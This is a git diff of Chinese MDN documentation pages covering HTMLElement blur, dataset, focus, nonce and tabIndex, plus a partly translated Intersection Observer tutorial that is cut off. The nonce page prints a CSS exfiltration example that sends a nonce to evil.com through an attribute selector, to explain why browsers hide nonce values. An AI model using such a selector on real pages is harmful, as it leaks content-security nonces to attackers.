diff --git a/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html b/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html deleted file mode 100644 index 0cccf89889..0000000000 --- a/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: HTMLInputElement.mozSetFileNameArray -slug: Web/API/HTMLInputElement/mozSetFileNameArray -translation_of: Web/API/HTMLInputElement -translation_of_original: Web/API/HTMLInputElement/mozSetFileNameArray ---- -
-
-
-
{{APIRef("HTML DOM")}}
-
-
-{{gecko_minversion_header("1.9.2")}}
- -

概述

- -

设置一个HTML input元素中选中的若干文件的路径以及文件名.

- -
注: 该方法是Gecko私有的方法,在其他浏览器中不可用,且是个特权方法,不能在普通网页中使用.
- -

语法

- -
inputElement.mozSetFileNameArray(aFileNames, aLength);
-
- -

参数

- -
    -
  • aFileNames 指定给该元素的若干个文件的文件名路径以及文件名.
  • -
  • aLength 需要指定文件的个数(通常是数组aFileNames的长度).
  • -
- -

示例

- -
var fileArray = {"/foo/bar.txt", "/foo/foosball.txt"};
-
-inputElement.mozSetFileNameArray(fileArray, fileArray.length);
-
- -

规范

- -

非标准,Mozilla私有方法.

- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html new file mode 100644 index 0000000000..96452abcc0 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html @@ -0,0 +1,24 @@ +--- +title: HTMLElement.blur() +slug: Web/API/HTMLElement/blur +tags: + - API + - HTML DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLOrForeignElement/blur +--- +

{{ APIRef() }}

+

概述

+

blur方法用来移除当前元素所获得的键盘焦点.

+

语法

+
element.blur()
+
+

规范

+

blur

+

相关链接

+ +

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html new file mode 100644 index 0000000000..63ab5f48e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - HTMLElement.dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +

{{ APIRef }}

+ +

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

+ +

它是一个DOMString的映射,每个自定义数据属性的一个条目。

+ +

请注意,dataset 属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。

+ +

还要注意,一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称,但它们总是相似的:

+ +
    +
  • 在HTML中的一个自定义数据属性的名称以 data- 开头。它只能包含字母,数字和以下字符: dash (-), dot (.), colon (:), underscore (_)  - 但不是任何ASCII大写字母(A到Z)。
  • +
  • JavaScript 中的一个自定义数据属性的名称是相同HTML属性的名称,但在 camelCase中,没有破折号,点等。
  • +
+ +

 

+ +

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

+ +

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:

+ +
    +
  • 前缀  data- 被去除(包括减号);
  • +
  • 对于每个在ASCII小写字母 a到 z前面的减号 (U+002D),减号会被去除,并且字母会转变成对应的大写字母。
  • +
  • 其他字符(包含其他减号)都不发生变化
  • +
+ +

与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:

+ +
    +
  • 约束:减号在转变前一定不能紧跟一个ASCII小写字母 a 到 z之间;
  • +
  • 添加 data- 前缀;
  • +
  • 任何ASCII大写字母 A 到 Z 将转化成一个减号紧跟对应的小写字母;
  • +
  • 其他字符不会发生变化
  • +
+ +

上面规则的约束是为了保证这两种转换是正好相反的转换。

+ +

例如,属性名称 data-abc-def 与键值 abcDef 相对应。

+ +

语法

+ +
string = element.dataset.camelCasedName;
+element.dataset.camelCasedName = string;
+ +

实例

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
+</div>
+
+var el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
+
+ +

 

diff --git a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html new file mode 100644 index 0000000000..eb47aff613 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html @@ -0,0 +1,158 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/HTMLOrForeignElement/focus +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.focus() 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。

+ +

语法

+ +
element.focus(options); // Object parameter
+ +

参数

+ +
+
options {{optional_inline}}
+
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
+
+
+
preventScroll {{optional_inline}}
+
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
+
+
+
+ +

示例

+ +

将焦点设置到文本框上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}
+ +

HTML

+ +
<input type="text" id="myTextField" value="Text field.">
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button>
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_text_field') }}

+ +

将焦点设置到按钮上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+ +

HTML

+ +
<button type="button" id="myButton">Click Me!</button>
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button>
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_button') }}

+ +

Focus with focusOption

+ +

JavaScript

+ +
focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+
+ +

HTML

+ +
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
+<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
+
+<div id="container" style="height: 1000px; width: 1000px;">
+<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
+</div>
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_prevent_scroll') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
+ +

备注

+ +
    +
  • If you call HTMLElement.focus() from a mousedown event handler, you must call event.preventDefault() to keep the focus from leaving the HTMLElement
  • +
  • +

    Behaviour of the focus in relation to different HTML features like {{HTMLAttrxRef("tabindex")}} or {{Glossary("shadow tree","shadow dom", 1)}}, which previously remained under-specified, were recently updated (as October of 2019). Checkout WHATWG blog for more info.

    +
  • +
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.focus")}}

+ +

参见

+ +
    +
  • DOM method {{domxref("HTMLElement.blur()")}} to remove the focus from an element.
  • +
  • {{ domxref("document.activeElement") }} to know which is the currently focused element.
  • +
diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..b2c6c829b1 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,60 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+ + +

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html new file mode 100644 index 0000000000..516c659c2a --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

概述

+ +

获取或设置当前元素的tab键激活顺序.

+ +

语法

+ +
element.tabIndex = index index = element.tabIndex
+
+ +

参数

+ +
    +
  • index是一个数字,表示顺序。取值需要在0到32767之间。
  • +
+ +

Tab键的遍历顺序是这样的:

+ +
    +
  1. 对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。
  2. +
  3. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。
  4. +
  5. 处于不可用状态的元素不会被遍历到。
  6. +
+ +

支持tabIndex属性的元素有:a,area,button,input,object,select和textarea

+ +

tabIndex的值不需要是连续的,也不需要以某个特定值开始。

+ +

例子

+ +
var b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+ +

规范

+ +

W3C DOM Level 2 HTML tabIndex

+ +

了解更多,请查看: The solution: changes to standard behavior of tabindex

+ +

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/index/index.html b/files/zh-cn/web/api/index/index.html new file mode 100644 index 0000000000..9993a0a959 --- /dev/null +++ b/files/zh-cn/web/api/index/index.html @@ -0,0 +1,6 @@ +--- +title: 指数 +slug: Web/API/指数 +translation_of: Web/API/Index +--- +

{{Index("/zh-CN/docs/Web/API")}}

diff --git a/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html new file mode 100644 index 0000000000..24446a0141 --- /dev/null +++ b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -0,0 +1,562 @@ +--- +title: Timing element visibility with the Intersection Observer API +slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 +translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility +--- +
{{APIRef("Intersection Observer API")}}
+ +
交叉点观察者API使得当感兴趣的元素或多或少被共享祖先节点或元素遮蔽时,可以方便地异步通知,包括 {{domxref("Document")}}本身。
+ +
 
+ +

The Intersection Observer API makes it easy to be asynchronously notified when elements of interest become more or less obscured by a shared ancestor node or element, including the {{domxref("Document")}} itself. In this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the Intersection Observer API to track how much time each ad is visible to the user. When an ad exceeds one minute of visible time, it will be replaced with a new one.

+ +

Although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the API to quickly learn how to apply the Intersection Observer API to your own site.

+ +

There's a good reason why the notion of tracking visibility of ads is being used in this example. It turns out that one of the most common uses of Flash or other script in advertising on the Web is to record how long each ad is visible, for the purpose of billing and payment of revenues. Without the Intersection Observer API, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. Using this API lets everything get streamlined by the browser to reduce the impact on performance substantially.

+ +

Let's get started!

+ +
+

Site structure: The HTML

+ +

The site's structure is not too complicated. We'll be using CSS Grid to style and lay out the site, so we can be pretty straightforward here:

+ +
<div class="wrapper">
+  <header>
+    <h1>A Fake Blog</h1>
+    <h2>Showing Intersection Observer in action!</h2>
+  </header>
+
+  <aside>
+    <nav>
+      <ul>
+        <li><a href="#link1">A link</a></li>
+        <li><a href="#link2">Another link</a></li>
+        <li><a href="#link3">One more link</a></li>
+      </ul>
+    </nav>
+  </aside>
+
+  <main>
+  </main>
+</div>
+ +

This is the framework for the entire site. At the top is the site's header region, contained within a {{HTMLElement("header")}} block. Below that, we define the site's sidebar as a list of links within an {{HTMLElement("aside")}} block.

+ +

Finally comes the main body. We start with an empty {{HTMLElement("main")}} element here. This box will be populated using script later.

+ +

Styling the site with CSS

+ +

With the structure of the site defined, we turn to the styling for the site. Let's look at the style for each component of the page individually.

+ +

The basics

+ +

We provide styles for the {{HTMLElement("body")}} and {{HTMLElement("main")}} elements to define the site's background as well as the grid the various parts of the site will be placed in.

+ +
body {
+  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
+  background-color: aliceblue;
+}
+
+.wrapper {
+  display: grid;
+  grid-template-columns: auto minmax(min-content, 1fr);
+  grid-template-rows: auto minmax(min-content, 1fr);
+  max-width: 700px;
+  margin: 0 auto;
+  background-color: aliceblue;
+}
+ +

The site's {{HTMLElement("body")}} is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. Then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads).

+ +

The wrapper establishes a CSS grid with two columns and two rows. The first column (sized automatically based on its content) is used for the sidebar and the second column (which will be used for body content) is sized to be at least the width of the contents of the column and at most all remaining available space.

+ +

The first row will be used specially for the site header. The rows are sized the same way as the columns: the first one is automatically sized and the one uses the remaining space, but at least enough space to provide room for all elements within it.

+ +

The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.

+ +

The header

+ +

The header is fairly simple, since for this example all it contains is some text. Its style looks like this:

+ +
header {
+  grid-column: 1 / -1;
+  grid-row: 1;
+  background-color: aliceblue;
+}
+ +

{{cssxref("grid-row")}} is set to 1, since we want the header to be placed in the top row of the site's grid. More interesting is our use of {{cssxref("grid-column")}} here; here we specify that we want the column to start in the first column and ends in the first column past the last grid line—in other words, the header spans across all of the columns within the grid. Perfect for our needs.

+ +

The sidebar

+ +

Our sidebar is used to present links to other pages on the site. None of them work in our example here, but they exist to help with the presentation of a blog-like experience. The sidebar is represented using an {{HTMLElement("aside")}} element, and is styled as follows:

+ +
aside {
+  grid-column: 1;
+  grid-row: 2;
+  background-color: cornsilk;
+  padding: 5px 10px;
+}
+
+aside ul {
+  padding-left: 0;
+}
+
+aside ul li {
+  list-style: none;
+}
+
+aside ul li a {
+  text-decoration: none;
+}
+ +

The most important thing to note here is that the {{cssxref("grid-column")}} is set to 1, to place the sidebar on the left-hand side of the screen. If you change this to -1, it will appear on the right (although some other elements will need some adjustments made to their margins to get the spacing just right). The {{cssxref("grid-row")}} is set to 2, to place it alongside the site body.

+ +

The content body

+ +

Speaking of the site's body: the main content of the site is kept in a {{HTMLElement("main")}} element. The following style is applied to that:

+ +
main {
+  grid-column: 2;
+  grid-row: 2;
+  margin: 0;
+  margin-left: 16px;
+  font-size: 16px;
+}
+ +

The primary feature here is that the grid position is set to place the body content in column 2, row 2.

+ +

Articles

+ +

Each article is contained in an {{HTMLElement("article")}} element, styled like this:

+ +
article {
+  background-color: white;
+  padding: 6px;
+}
+
+article:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+article h2 {
+  margin-top: 0;
+}
+ +

This creates article boxes with a white background which float atop the blue background, with a small margin around the article. Every article which isn't the last item in the container has an 8px bottom margin to space things apart.

+ +

Ads

+ +

Finally, the ads have the following initial styling. Individual ads may customize the style somewhat, as we'll see later.

+ +
.ad {
+  height: 96px;
+  padding: 6px;
+  border-color: #555;
+  border-style: solid;
+  border-width: 1px;
+}
+
+.ad:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+.ad h2 {
+  margin-top: 0;
+}
+
+.ad div {
+  position: relative;
+  float: right;
+  padding: 0 4px;
+  height: 20px;
+  width: 120px;
+  font-size: 14px;
+  bottom: 30px;
+  border: 1px solid black;
+  background-color: rgba(255, 255, 255, 0.5);
+}
+ +

There's nothing magic in here. It's fairly basic CSS.

+ +

Tying it together with JavaScript

+ +

That brings us to the JavaScript code which makes everything work. Let's start with the global variables:

+ +
let contentBox;
+
+let nextArticleID = 1;
+let visibleAds = new Set();
+let previouslyVisibleAds = null;
+
+let adObserver;
+let refreshIntervalID = 0;
+ +

These are used as follows:

+ +
+
contentBox
+
A reference to the {{HTMLElement("main")}} element's {{domxref("HTMLElement")}} object in the DOM. This is where we'll insert the articles and ads.
+
nextArticleID
+
Each article is given a unique ID number; this variable tracks the next ID to use, starting with 1.
+
visibleAds
+
A {{jsxref("Set")}} which we'll use to track the ads currently visible on the screen.
+
previouslyVisibleAds
+
Used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page).
+
adObserver
+
Will hold our {{domxref("IntersectionObserver")}} used to track the intersection between the ads and the <main> element's bounds.
+
refreshIntervalID
+
Used to store the interval ID returned by {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. This interval will be used to trigger our periodic refreshes of the ads' content.
+
+ +

Setting up

+ +

To set things up, we run the startup() function below when the page loads:

+ +
window.addEventListener("load", startup, false);
+
+function startup() {
+  contentBox = document.querySelector("main");
+
+  document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: [0.0, 0.75]
+  };
+
+  adObserver = new IntersectionObserver(intersectionCallback,
+                    observerOptions);
+
+  buildContents();
+  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
+}
+ +

First, a reference to the content wrapping {{HTMLElement("main")}} element is obtained, so we can insert our content into it. Then we set up an event listener for the {{event("visibilitychange")}} event. This event is sent when the document becomes hidden or visible, such as when the user switches tabs in their browser. The Intersection Observer API doesn't take this into account when detecting intersection, since intersection isn't affected by page visibility. Therefore, we need to pause our timers while the page is tabbed out; hence this event listener.

+ +

Next we set up the options for the {{domxref("IntersectionObserver")}} which will monitor target elements (ads, in our case) for intersection changes relative to the document. The options are configured to watch for intersections with the document's viewport (by setting root to null). We have no margins to extend or contract the intersection root's rectangle; we want to match the boundaries of the document's viewport exactly for intersection purposes. And the threshold is set to an array containing the values 0.0 and 0.75; this will cause our callback to execute whenever a targeted element becomes completely obscured or first starts to become unobscured (intersection ratio 0.0) or passes through 75% visible in either direction (intersection ratio 0.75).

+ +

The observer, adObserver, is created by calling IntersectionObserver's constructor, passing in the callback function, intersectionCallback, and our options.

+ +

We then call a function buildContents(), which we'll define later to actually generate and insert into the document the articles and ads we want to present.

+ +

Finally, we set up an interval which triggers once a second to handle any necessary refreshing. We need a one second refresh since we're displaying timers in all visible ads for the purposes of this example. You may not need an interval at all, or you might do it differently or using a different time interval.

+ +

Handling document visibility changes

+ +

Let's take a look at the handler for the {{event("visibilitychange")}} event. Our script receives this event when the document itself becomes visible or invisible. The most important scenario here is when the user switches tabs. Since Intersection Observer only cares about the intersection between the targeted elements and the intersection root, and not the tab's visibility (which is a different issue entirely), we need to use the Page Visibility API to detect these tab switches and disable our timers for the duration.

+ +
function handleVisibilityChange() {
+  if (document.hidden) {
+    if (!previouslyVisibleAds) {
+      previouslyVisibleAds = visibleAds;
+      visibleAds = [];
+      previouslyVisibleAds.forEach(function(adBox) {
+        updateAdTimer(adBox);
+        adBox.dataset.lastViewStarted = 0;
+      });
+    }
+  } else {
+    previouslyVisibleAds.forEach(function(adBox) {
+      adBox.dataset.lastViewStarted = performance.now();
+    });
+    visibleAds = previouslyVisibleAds;
+    previouslyVisibleAds = null;
+  }
+}
+ +

Since the event itself doesn't state whether the document has switched from visible to invisible or vice-versa, the {{domxref("document.hidden")}} property is checked to see if the document is not currently visible. Since it's theoretically possible to get called multiple times, we only proceed if we haven't already paused the timers and saved the visibility states of the existing ads.

+ +

To pause the timers, all we need to do is remove the ads from the set of visible ads (visibleAds) and mark them as inactive. To do so, we begin by saving the set of visible ads into a variable known as previouslyVisibleAds to be sure we can restore them when the user tabs back into the document, and we then empty the visibleAds set so they won't be treated as visible. Then, for each of the ads that are being suspended, we call our updateAdTimer() function, which handles updating the ad's total visible time counter, then we set their dataset.lastViewStarted property to 0, which indicates that the tab's timer isn't running.

+ +

If the document has just become visible, we reverse this process: first we go through previouslyVisibleAds and set each one's dataset.lastViewStarted to the current document's time (in milliseconds since the document was created) using the {{domxref("Performance.now", "performance.now()")}} method. Then we set visibleAds back to previouslyVisibleAds and set the latter to null. Now the ads are all restarted, and configured to know that they became visible at the current time, so that they will not add up the duration of time the page was tabbed away the next time they're updated.

+ +

Handling intersection changes

+ +

Once per pass through the browser's event loop, each {{domxref("IntersectionObserver")}} checks to see if any of its target elements have passed through any of the observer's intersection ratio thresholds. For each observer, a list of targets that have done so is compiled, and sent to the observer's callback as an array of {{domxref("IntersectionObserverEntry")}} objects. Our callback, intersectionCallback(), looks like this:

+ +
function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let adBox = entry.target;
+
+    if (entry.isIntersecting) {
+      if (entry.intersectionRatio >= 0.75) {
+        adBox.dataset.lastViewStarted = entry.time;
+        visibleAds.add(adBox);
+      }
+    } else {
+      visibleAds.delete(adBox);
+      if ((entry.intersectionRatio === 0.0) && (adBox.dataset.totalViewTime >= 60000)) {
+        replaceAd(adBox);
+      }
+    }
+  });
+}
+ +

As previously mentioned, the {{domxref("IntersectionObserver")}} callback receives as input an array of all of the observer's targeted elements which have become either more or less visible than one of the intersection observer ratios. We iterate over each of those entries—which are of type {{domxref("IntersectionObserverEntry")}}. If the target element is intersecting with the root, we know it has just transitioned from the obscured state to the visible state. If it's become at least 75% visible, then we consider the ad visible and we start the timer by setting the ad's dataset.lastViewStarted attribute to the transition time in {{domxref("IntersectionObserverEntry.time", "entry.time")}}, then add the ad to the set visibleAds so we know to process it as time goes by.

+ +

If the ad has transitioned to the not-intersecting state, we remove the ad from the set of visible ads. Then we have one special behavior: we look to see if {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}} is 0.0; if it is, that means the element has become totally obscured. If that's the case, and the ad has been visible for at least a minute total, we call a function we'll create called replaceAd() to replace the existing ad with a new one. This way, the user sees a variety of ads over time, but the ads are only replaced while they can't be seen, resulting in a smooth experience.

+ +

Handling periodic actions

+ +

Our interval handler, handleRefreshInterval(), is called about once per second courtesy of the call to {{domxref("WindowOrGlobalScope.setInterval", "setInterval")}} made in the startup() function {{anch("Setting up", "described above")}}. Its main job is to update the timers every second and schedule a redraw to update the timers we'll be drawing within each ad.

+ +
function handleRefreshInterval() {
+  let redrawList = [];
+
+  visibleAds.forEach(function(adBox) {
+    let previousTime = adBox.dataset.totalViewTime;
+    updateAdTimer(adBox);
+
+    if (previousTime != adBox.dataset.totalViewTime) {
+      redrawList.push(adBox);
+    }
+  });
+
+  if (redrawList.length) {
+    window.requestAnimationFrame(function(time) {
+      redrawList.forEach(function(adBox) {
+        drawAdTimer(adBox);
+      });
+    });
+  }
+}
+ +

The array redrawList will be used to keep a list of all the ads which need to be redrawn during this refresh cycle, since it may not be exactly the same as the elapsed time due to system activity or because you've set the interval to something other than every 1000 milliseconds.

+ +

Then, for each of the visible ads, we save the value of dataset.totalViewTime (the total number of milliseconds the ad has currently been visible, as of the last time it was updated) and then call updateAdTimer() to update the time. If it's changed, then we push the ad onto the redrawList so we know it needs to be updated during the next animation frame.

+ +

Finally, if there's at least one element to redraw, we use {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} to schedule a function that will redraw each element in the redrawList during the next animation frame.

+ +

Updating an ad's visibility timer

+ +

Previously (see {{anch("Handling document visibility changes")}} and {{anch("Handling periodic actions")}}), we've seen that when we need to update an ad's "total visible time" counter, we call a function named updateAdTimer() to do so. This function takes as an input an ad's {{domxref("HTMLDivElement")}} object. Here it is:

+ +
function updateAdTimer(adBox) {
+  let lastStarted = adBox.dataset.lastViewStarted;
+  let currentTime = performance.now();
+
+  if (lastStarted) {
+    let diff = currentTime - lastStarted;
+
+    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
+  }
+
+  adBox.dataset.lastViewStarted = currentTime;
+}
+ +

To track an element's visible time, we use two custom data attributes (see {{htmlattrxref("data-*")}}) on every ad:

+ +
+
lastViewStarted
+
The time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked.
+
totalViewTime
+
The total number of milliseconds the ad has been visible.
+
+ +

These are accessed through each ad's {{domxref("HTMLElement.dataset")}} attribute, which provides a {{domxref("DOMStringMap")}} mapping each custom attribute's name to its value. The values are strings, but we can convert those to numbers easily enough—in fact, JavaScript generally does it automatically, although we'll have one instance where we have to do it ourselves.

+ +

We start by fetching the time at which the ad's previous visibility status check time (adBox.dataset.lastViewStarted) into a local variable named lastStarted. We also get the current time-since-creation value using {{domxref("Performance.now", "performance.now()")}} into currentTime.

+ +

If lastStarted is non-zero—meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of milliseconds the timer has been visible since the last time it became visible. This is added to the current value of the ad's totalViewTime to bring the total up to date. Note the use of {{jsxref("parseFloat()")}} here; because these values are strings, JavaScript tries to do a string concatenation instead of addition without it.

+ +

Finally, the last-viewed time for the ad is updated to the current time. This is done whether the ad was running when this function was called or not; this causes the ad's timer to always be running when this function returns. This makes sense because this function is only called if the ad is visible, even if it's just now become visible.

+ +

Drawing an ad's timer

+ +

Inside each ad, for demonstration purposes, we draw the current value of its totalViewTime, converted into minutes and seconds. This is handled by passing the ad's element into the drawAdTimer() function:

+ +
function drawAdTimer(adBox) {
+  let timerBox = adBox.querySelector(".timer");
+  let totalSeconds = adBox.dataset.totalViewTime / 1000;
+  let sec = Math.floor(totalSeconds % 60);
+  let min = Math.floor(totalSeconds / 60);
+
+  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
+}
+ +

This code finds the ad's timer using its ID, "timer", and computes the number of seconds elapsed by dividing the ad's totalViewTime by 1000. Then it calculates the number of minutes and seconds elapsed before setting the timer's {{domxref("Node.innerText", "innerText")}} to a string representing that time in the form m:ss. The {{jsxref("String.padStart()")}} method is used to ensure that the number of seconds is padded out to two digits if it's less than 10.

+ +

Building the page contents

+ +

The buildContents() function is called by the {{anch("Setting up", "startup code")}} to select and insert into the document the articles and ads to be presented:

+ +
let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" +
+  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
+  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
+  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
+  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
+  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
+  " cursus nunc.</p>";
+
+function buildContents() {
+  for (let i=0; i<5; i++) {
+    contentBox.appendChild(createArticle(loremIpsum));
+
+    if (!(i % 2)) {
+      loadRandomAd();
+    }
+  }
+}
+
+ +

The variable loremIpsum contains the text we'll use for the body of all of our articles. Obviously in the real world, you'd have some code to pull articles from a database or the like, but this does the job for our purposes. Every article uses the same text; you could of course change that easily enough.

+ +

buildContents() creates a page with five articles. Following every odd-numbered article, an ad is "loaded" and inserted into the page. Articles are inserted into the content box (that is, the {{HTMLElement("main")}} element that contains all the site content) after being created using a method called createArticle(), which we'll look at next.
